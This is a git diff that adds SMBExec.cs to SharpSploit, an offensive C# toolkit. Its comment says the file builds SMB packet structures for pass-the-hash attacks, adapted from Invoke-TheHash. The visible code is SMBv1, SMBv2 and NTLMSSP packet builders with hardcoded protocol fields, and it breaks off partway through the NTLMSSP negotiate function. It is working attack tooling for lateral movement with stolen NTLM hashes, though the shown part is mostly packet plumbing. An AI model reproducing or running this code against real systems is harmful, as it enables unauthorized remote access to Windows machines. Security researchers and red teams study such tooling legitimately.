diff --git a/SharpSploit/Execution/PassTheHash/SMBExec.cs b/SharpSploit/Execution/PassTheHash/SMBExec.cs new file mode 100644 index 0000000..83a3e99 --- /dev/null +++ b/SharpSploit/Execution/PassTheHash/SMBExec.cs @@ -0,0 +1,724 @@ +using SharpSploit.Misc; +using System; +using System.Collections.Specialized; +using System.Linq; + +namespace SharpSploit.Execution +{ + public class SMBExec + { + /// + /// SMBExec contains all of the functions used to manually create SMB Packet Structures for Pass the Hash attacks. + /// + /// + /// Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + /// at https://github.com/Kevin-Robertson/Invoke-TheHash) + /// + + #region SMBv1 + public static OrderedDictionary NetBIOSSessionService(int packet_header_length, int packet_data_length) + { + byte[] packet_netbios_session_service_length = BitConverter.GetBytes(packet_header_length + packet_data_length); + packet_netbios_session_service_length = new byte[] { packet_netbios_session_service_length[2], packet_netbios_session_service_length[1], packet_netbios_session_service_length[0] }; + + OrderedDictionary packet_NetBIOSSessionService = new OrderedDictionary(); + packet_NetBIOSSessionService.Add("NetBIOSSessionService_Message_Type", new byte[] { 0x00 }); + packet_NetBIOSSessionService.Add("NetBIOSSessionService_Length", packet_netbios_session_service_length); + + return packet_NetBIOSSessionService; + } + public static OrderedDictionary SMBHeader(byte[] packet_command, byte[] packet_flags, byte[] packet_flags2, byte[] packet_tree_ID, byte[] packet_process_ID, byte[] packet_user_ID) + { + byte[] ProcessID = new byte[2] { packet_process_ID[0], packet_process_ID[1] }; + OrderedDictionary packet_SMBHeader = new OrderedDictionary(); + packet_SMBHeader.Add("SMBHeader_Protocol", new byte[] { 0xff, 0x53, 0x4d, 0x42 }); + packet_SMBHeader.Add("SMBHeader_Command", packet_command); + packet_SMBHeader.Add("SMBHeader_ErrorClass", new byte[] { 0x00 }); + packet_SMBHeader.Add("SMBHeader_Reserved", new byte[] { 0x00 }); + packet_SMBHeader.Add("SMBHeader_ErrorCode", new byte[] { 0x00, 0x00 }); + packet_SMBHeader.Add("SMBHeader_Flags", packet_flags); + packet_SMBHeader.Add("SMBHeader_Flags2", packet_flags2); + packet_SMBHeader.Add("SMBHeader_ProcessIDHigh", new byte[] { 0x00, 0x00 }); + packet_SMBHeader.Add("SMBHeader_Signature", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_SMBHeader.Add("SMBHeader_Reserved2", new byte[] { 0x00, 0x00 }); + packet_SMBHeader.Add("SMBHeader_TreeID", packet_tree_ID); + packet_SMBHeader.Add("SMBHeader_ProcessID", ProcessID); + packet_SMBHeader.Add("SMBHeader_UserID", packet_user_ID); + packet_SMBHeader.Add("SMBHeader_MultiplexID", new byte[] { 0x00, 0x00 }); + return packet_SMBHeader; + } + public static OrderedDictionary SMBNegotiateProtocolRequest(bool ForceSMB1) + { + byte[] packet_byte_count; + if (ForceSMB1) + { + packet_byte_count = new byte[] { 0x0c, 0x00 }; + } + else + { + packet_byte_count = new byte[] { 0x22, 0x00 }; + } + //https://msdn.microsoft.com/en-us/library/ee441572.aspx + OrderedDictionary packet_SMBNegotiateProtocolRequest = new OrderedDictionary(); + packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_WordCount", new byte[] { 0x00 }); + packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_ByteCount", packet_byte_count); + packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat", new byte[] { 0x02 }); + packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name", new byte[] { 0x4e, 0x54, 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00 }); + + if (!ForceSMB1) + { + packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat2", new byte[] { 0x02 }); + packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name2", new byte[] { 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e, 0x30, 0x30, 0x32, 0x00 }); + packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat3", new byte[] { 0x02 }); + packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name3", new byte[] { 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e, 0x3f, 0x3f, 0x3f, 0x00 }); + } + + return packet_SMBNegotiateProtocolRequest; + } + public static OrderedDictionary SMBSessionSetupAndXRequest(byte[] packet_security_blob) + { + //https://msdn.microsoft.com/en-us/library/ee441849.aspx + + + byte[] packet_byte_count = BitConverter.GetBytes(packet_security_blob.Length); + byte[] packet_byte_count2 = { packet_byte_count[0], packet_byte_count[1] }; + byte[] packet_security_blob_length = BitConverter.GetBytes(packet_security_blob.Length + 5); + byte[] packet_security_blob_length2 = { packet_security_blob_length[0], packet_security_blob_length[1] }; + + OrderedDictionary packet_SMBSessionSetupAndXRequest = new OrderedDictionary(); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_WordCount", new byte[] { 0x0c }); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXCommand", new byte[] { 0xff }); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved", new byte[] { 0x00 }); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXOffset", new byte[] { 0x00, 0x00 }); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxBuffer", new byte[] { 0xff, 0xff }); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxMpxCount", new byte[] { 0x02, 0x00 }); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_VCNumber", new byte[] { 0x01, 0x00 }); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SessionKey", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlobLength", packet_byte_count2); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved2", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Capabilities", new byte[] { 0x44, 0x00, 0x00, 0x80 }); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_ByteCount", packet_security_blob_length2); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlob", packet_security_blob); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeOS", new byte[] { 0x00, 0x00, 0x00 }); + packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeLANManage", new byte[] { 0x00, 0x00 }); + + return packet_SMBSessionSetupAndXRequest; + } + public static OrderedDictionary SMBTreeConnectAndXRequest(byte[] packet_path) + { + byte[] packet_path_length = BitConverter.GetBytes(packet_path.Length + 7); + packet_path_length = new byte[] { packet_path_length[0], packet_path_length[1] }; + + OrderedDictionary packet_SMBTreeConnectAndXRequest = new OrderedDictionary(); + packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_WordCount", new byte[] { 0x04 }); + packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXCommand", new byte[] { 0xff }); + packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Reserved", new byte[] { 0x00 }); + packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXOffset", new byte[] { 0x00, 0x00 }); + packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Flags", new byte[] { 0x00, 0x00 }); + packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_PasswordLength", new byte[] { 0x01, 0x00 }); + packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_ByteCount", packet_path_length); + packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Password", new byte[] { 0x00 }); + packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Tree", packet_path); + packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Service", new byte[] { 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00 }); + + return packet_SMBTreeConnectAndXRequest; + } + public static OrderedDictionary SMBNTCreateAndXRequest(byte[] packet_named_pipe) + { + byte[] packet_named_pipe_length = BitConverter.GetBytes(packet_named_pipe.Length); + byte[] packet_named_pipe_length2 = { packet_named_pipe_length[0], packet_named_pipe_length[1] }; + byte[] packet_file_name_length = BitConverter.GetBytes(packet_named_pipe.Length - 1); + byte[] packet_file_name_length2 = { packet_file_name_length[0], packet_file_name_length[1] }; + + OrderedDictionary packet_SMBNTCreateAndXRequest = new OrderedDictionary(); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_WordCount", new byte[] { 0x18 }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXCommand", new byte[] { 0xff }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved", new byte[] { 0x00 }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXOffset", new byte[] { 0x00, 0x00 }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved2", new byte[] { 0x00 }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileNameLen", packet_file_name_length2); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateFlags", new byte[] { 0x16, 0x00, 0x00, 0x00 }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_RootFID", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AccessMask", new byte[] { 0x00, 0x00, 0x00, 0x02 }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AllocationSize", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileAttributes", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ShareAccess", new byte[] { 0x07, 0x00, 0x00, 0x00 }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Disposition", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateOptions", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Impersonation", new byte[] { 0x02, 0x00, 0x00, 0x00 }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_SecurityFlags", new byte[] { 0x00 }); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ByteCount", packet_named_pipe_length2); + packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Filename", packet_named_pipe); + + return packet_SMBNTCreateAndXRequest; + } + public static OrderedDictionary SMBReadAndXRequest(byte[] SMB_FID) + { + + if (SMB_FID == null) + { + SMB_FID = new byte[] { 0x00, 0x40 }; + } + OrderedDictionary packet_SMBReadAndXRequest = new OrderedDictionary(); + packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_WordCount", new byte[] { 0x0a }); + packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXCommand", new byte[] { 0xff }); + packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Reserved", new byte[] { 0x00 }); + packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXOffset", new byte[] { 0x00, 0x00 }); + packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_FID", SMB_FID); + packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Offset", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MaxCountLow", new byte[] { 0x58, 0x02 }); + packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MinCount", new byte[] { 0x58, 0x02 }); + packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Unknown", new byte[] { 0xff, 0xff, 0xff, 0xff }); + packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Remaining", new byte[] { 0x00, 0x00 }); + packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_ByteCount", new byte[] { 0x00, 0x00 }); + + return packet_SMBReadAndXRequest; + } + public static OrderedDictionary SMBWriteAndXRequest(byte[] packet_file_ID, int packet_RPC_length) + { + byte[] packet_write_length = BitConverter.GetBytes(packet_RPC_length); + packet_write_length = new byte[] { packet_write_length[0], packet_write_length[1] }; + + OrderedDictionary packet_SMBWriteAndXRequest = new OrderedDictionary(); + packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WordCount", new byte[] { 0x0e }); + packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXCommand", new byte[] { 0xff }); + packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved", new byte[] { 0x00 }); + packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXOffset", new byte[] { 0x00, 0x00 }); + packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_FID", packet_file_ID); + packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Offset", new byte[] { 0xea, 0x03, 0x00, 0x00 }); + packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved2", new byte[] { 0xff, 0xff, 0xff, 0xff }); + packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WriteMode", new byte[] { 0x08, 0x00 }); + packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Remaining", packet_write_length); + packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthHigh", new byte[] { 0x00, 0x00 }); + packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthLow", packet_write_length); + packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataOffset", new byte[] { 0x3f, 0x00 }); + packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_HighOffset", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_ByteCount", packet_write_length); + + return packet_SMBWriteAndXRequest; + } + public static OrderedDictionary SMBCloseRequest(byte[] packet_file_ID) + { + + OrderedDictionary packet_SMBCloseRequest = new OrderedDictionary(); + packet_SMBCloseRequest.Add("SMBCloseRequest_WordCount", new byte[] { 0x03 }); + packet_SMBCloseRequest.Add("SMBCloseRequest_FID", packet_file_ID); + packet_SMBCloseRequest.Add("SMBCloseRequest_LastWrite", new byte[] { 0xff, 0xff, 0xff, 0xff }); + packet_SMBCloseRequest.Add("SMBCloseRequest_ByteCount", new byte[] { 0x00, 0x00 }); + + return packet_SMBCloseRequest; + } + public static OrderedDictionary SMBTreeDisconnectRequest() + { + OrderedDictionary packet_SMBTreeDisconnectRequest = new OrderedDictionary(); + packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_WordCount", new byte[] { 0x00 }); + packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_ByteCount", new byte[] { 0x00, 0x00 }); + return packet_SMBTreeDisconnectRequest; + } + public static OrderedDictionary SMBLogoffAndXRequest() + { + OrderedDictionary packet_SMBLogoffAndXRequest = new OrderedDictionary(); + packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_WordCount", new byte[] { 0x02 }); + packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXCommand", new byte[] { 0xff }); + packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_Reserved", new byte[] { 0x00 }); + packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXOffset", new byte[] { 0x00, 0x00 }); + packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_ByteCount", new byte[] { 0x00, 0x00 }); + return packet_SMBLogoffAndXRequest; + } + #endregion + #region SMBv2 + //public static OrderedDictionary SMB2Header(byte[] packet_command,bool SMB_signing, int packet_message_ID, byte[] process_id, byte[] packet_tree_ID, byte[] packet_session_ID) + public static OrderedDictionary SMB2Header(byte[] packet_command, int packet_message_ID, byte[] packet_tree_ID, byte[] packet_session_ID) + { + + byte[] message_ID = BitConverter.GetBytes(packet_message_ID); + + if (message_ID.Length == 4) + { + message_ID = message_ID.Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + //message_ID = Utilities.CombineByteArray(message_ID, new byte[] { 0x00, 0x00, 0x00, 0x00 }); + } + + OrderedDictionary packet_SMB2Header = new OrderedDictionary(); + packet_SMB2Header.Add("SMB2Header_ProtocolID", new byte[] { 0xfe, 0x53, 0x4d, 0x42 }); + packet_SMB2Header.Add("SMB2Header_StructureSize", new byte[] { 0x40, 0x00 }); + packet_SMB2Header.Add("SMB2Header_CreditCharge", new byte[] { 0x01, 0x00 }); + packet_SMB2Header.Add("SMB2Header_ChannelSequence", new byte[] { 0x00, 0x00 }); + packet_SMB2Header.Add("SMB2Header_Reserved", new byte[] { 0x00, 0x00 }); + packet_SMB2Header.Add("SMB2Header_Command", packet_command); + packet_SMB2Header.Add("SMB2Header_CreditRequest", new byte[] { 0x00, 0x00 }); + packet_SMB2Header.Add("SMB2Header_Flags", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2Header.Add("SMB2Header_NextCommand", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2Header.Add("SMB2Header_MessageID", message_ID); + packet_SMB2Header.Add("SMB2Header_Reserved2", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2Header.Add("SMB2Header_TreeID", packet_tree_ID); + packet_SMB2Header.Add("SMB2Header_SessionID", packet_session_ID); + packet_SMB2Header.Add("SMB2Header_Signature", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + + return packet_SMB2Header; + + } + public static OrderedDictionary SMB2NegotiateProtocolRequest() + { + OrderedDictionary packet_SMB2NegotiateProtocolRequest = new OrderedDictionary(); + packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_StructureSize", new byte[] { 0x24, 0x00 }); + packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_DialectCount", new byte[] { 0x02, 0x00 }); + packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_SecurityMode", new byte[] { 0x01, 0x00 }); + packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved", new byte[] { 0x00, 0x00 }); + packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Capabilities", new byte[] { 0x40, 0x00, 0x00, 0x00 }); + packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_ClientGUID", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextOffset", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextCount", new byte[] { 0x00, 0x00 }); + packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved2", new byte[] { 0x00, 0x00 }); + packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect", new byte[] { 0x02, 0x02 }); + packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect2", new byte[] { 0x10, 0x02 }); + + return packet_SMB2NegotiateProtocolRequest; + } + public static OrderedDictionary SMB2SessionSetupRequest(byte[] packet_security_blob) + { + byte[] packet_security_blob_length = BitConverter.GetBytes(packet_security_blob.Length); + byte[] packet_security_blob_length2 = { packet_security_blob_length[0], packet_security_blob_length[1] }; + + OrderedDictionary packet_SMB2SessionSetupRequest = new OrderedDictionary(); + packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_StructureSize", new byte[] { 0x19, 0x00 }); + packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Flags", new byte[] { 0x00 }); + packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityMode", new byte[] { 0x01 }); + packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Capabilities", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Channel", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferOffset", new byte[] { 0x58, 0x00 }); + packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferLength", packet_security_blob_length2); + packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_PreviousSessionID", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Buffer", packet_security_blob); + + return packet_SMB2SessionSetupRequest; + } + public static OrderedDictionary SMB2TreeConnectRequest(byte[] packet_path) + { + + byte[] packet_path_length = BitConverter.GetBytes(packet_path.Length); + packet_path_length = new byte[] { packet_path_length[0], packet_path_length[1] }; + OrderedDictionary packet_SMB2TreeConnectRequest = new OrderedDictionary(); + packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_StructureSize", new byte[] { 0x09, 0x00 }); + packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Reserved", new byte[] { 0x00, 0x00 }); + packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathOffset", new byte[] { 0x48, 0x00 }); + packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathLength", packet_path_length); + packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Buffer", packet_path); + + return packet_SMB2TreeConnectRequest; + } + public static OrderedDictionary SMB2CreateRequestFile(byte[] packet_named_pipe) + { + byte[] packet_named_pipe_length = BitConverter.GetBytes(packet_named_pipe.Length); + byte[] packet_named_pipe_length2 = { packet_named_pipe_length[0], packet_named_pipe_length[1] }; + OrderedDictionary packet_SMB2CreateRequestFile = new OrderedDictionary(); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_StructureSize", new byte[] { 0x39, 0x00 }); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Flags", new byte[] { 0x00 }); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_RequestedOplockLevel", new byte[] { 0x00 }); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Impersonation", new byte[] { 0x02, 0x00, 0x00, 0x00 }); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_SMBCreateFlags", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Reserved", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_DesiredAccess", new byte[] { 0x03, 0x00, 0x00, 0x00 }); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_FileAttributes", new byte[] { 0x80, 0x00, 0x00, 0x00 }); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_ShareAccess", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateDisposition", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateOptions", new byte[] { 0x40, 0x00, 0x00, 0x00 }); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameOffset", new byte[] { 0x78, 0x00 }); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameLength", packet_named_pipe_length2); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsOffset", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsLength", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Buffer", packet_named_pipe); + + return packet_SMB2CreateRequestFile; + + } + public static OrderedDictionary SMB2ReadRequest(byte[] packet_file_ID) + { + OrderedDictionary packet_SMB2ReadRequest = new OrderedDictionary(); + packet_SMB2ReadRequest.Add("SMB2ReadRequest_StructureSize", new byte[] { 0x31, 0x00 }); + packet_SMB2ReadRequest.Add("SMB2ReadRequest_Padding", new byte[] { 0x50 }); + packet_SMB2ReadRequest.Add("SMB2ReadRequest_Flags", new byte[] { 0x00 }); + packet_SMB2ReadRequest.Add("SMB2ReadRequest_Length", new byte[] { 0x00, 0x00, 0x10, 0x00 }); + packet_SMB2ReadRequest.Add("SMB2ReadRequest_Offset", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2ReadRequest.Add("SMB2ReadRequest_FileID", packet_file_ID); + packet_SMB2ReadRequest.Add("SMB2ReadRequest_MinimumCount", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2ReadRequest.Add("SMB2ReadRequest_Channel", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2ReadRequest.Add("SMB2ReadRequest_RemainingBytes", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoOffset", new byte[] { 0x00, 0x00 }); + packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoLength", new byte[] { 0x00, 0x00 }); + packet_SMB2ReadRequest.Add("SMB2ReadRequest_Buffer", new byte[] { 0x30 }); + + return packet_SMB2ReadRequest; + } + public static OrderedDictionary SMB2WriteRequest(byte[] packet_file_ID, int packet_RPC_length) + { + + + byte[] packet_write_length = BitConverter.GetBytes(packet_RPC_length); + OrderedDictionary packet_SMB2WriteRequest = new OrderedDictionary(); + packet_SMB2WriteRequest.Add("SMB2WriteRequest_StructureSize", new byte[] { 0x31, 0x00 }); + packet_SMB2WriteRequest.Add("SMB2WriteRequest_DataOffset", new byte[] { 0x70, 0x00 }); + packet_SMB2WriteRequest.Add("SMB2WriteRequest_Length", packet_write_length); + packet_SMB2WriteRequest.Add("SMB2WriteRequest_Offset", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2WriteRequest.Add("SMB2WriteRequest_FileID", packet_file_ID); + packet_SMB2WriteRequest.Add("SMB2WriteRequest_Channel", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2WriteRequest.Add("SMB2WriteRequest_RemainingBytes", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoOffset", new byte[] { 0x00, 0x00 }); + packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoLength", new byte[] { 0x00, 0x00 }); + packet_SMB2WriteRequest.Add("SMB2WriteRequest_Flags", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + + + return packet_SMB2WriteRequest; + } + public static OrderedDictionary SMB2CloseRequest(byte[] packet_file_ID) + { + OrderedDictionary packet_SMB2CloseRequest = new OrderedDictionary(); + packet_SMB2CloseRequest.Add("SMB2CloseRequest_StructureSize", new byte[] { 0x18, 0x00 }); + packet_SMB2CloseRequest.Add("SMB2CloseRequest_Flags", new byte[] { 0x00, 0x00 }); + packet_SMB2CloseRequest.Add("SMB2CloseRequest_Reserved", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SMB2CloseRequest.Add("SMB2CloseRequest_FileID", packet_file_ID); + return packet_SMB2CloseRequest; + } + public static OrderedDictionary SMB2TreeDisconnectRequest() + { + OrderedDictionary packet_SMB2TreeDisconnectRequest = new OrderedDictionary(); + packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_StructureSize", new byte[] { 0x04, 0x00 }); + packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_Reserved", new byte[] { 0x00, 0x00 }); + return packet_SMB2TreeDisconnectRequest; + } + public static OrderedDictionary SMB2SessionLogoffRequest() + { + OrderedDictionary packet_SMB2SessionLogoffRequest = new OrderedDictionary(); + packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_StructureSize", new byte[] { 0x04, 0x00 }); + packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_Reserved", new byte[] { 0x00, 0x00 }); + return packet_SMB2SessionLogoffRequest; + } + public static OrderedDictionary NTLMSSPNegotiate(byte[] packet_negotiate_flags, byte[] packet_version) + { + byte[] packet_NTLMSSP_length; + //There may be issues here, we will see. + if (packet_version != null) + { + packet_NTLMSSP_length = BitConverter.GetBytes(32 + packet_version.Length); + } + else + { + packet_NTLMSSP_length = BitConverter.GetBytes(32); + } + 